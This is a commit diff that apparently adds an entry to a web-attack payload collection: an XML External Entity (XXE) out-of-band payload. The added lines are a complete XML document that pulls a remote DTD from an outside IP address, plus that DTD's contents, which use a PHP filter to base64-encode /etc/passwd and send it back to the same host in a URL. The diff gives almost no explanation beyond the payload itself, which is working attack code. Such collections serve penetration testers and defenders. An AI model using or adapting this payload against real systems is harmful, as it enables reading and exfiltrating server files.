XXE via DTD and PHP Filter

This commit is contained in:
Swissky 2017-06-28 21:43:30 +02:00
parent 43f8367df0
commit 240e46e1e1

View File

@ -80,6 +80,21 @@ File stored on http://publicServer.com/parameterEntity_oob.dtd
%all;
```
XXE OOB with DTD and PHP filter
```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://92.222.81.2/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
File stored on http://92.222.81.2/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://92.222.81.2/dtd.xml?%data;'>">
```
## Thanks to
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing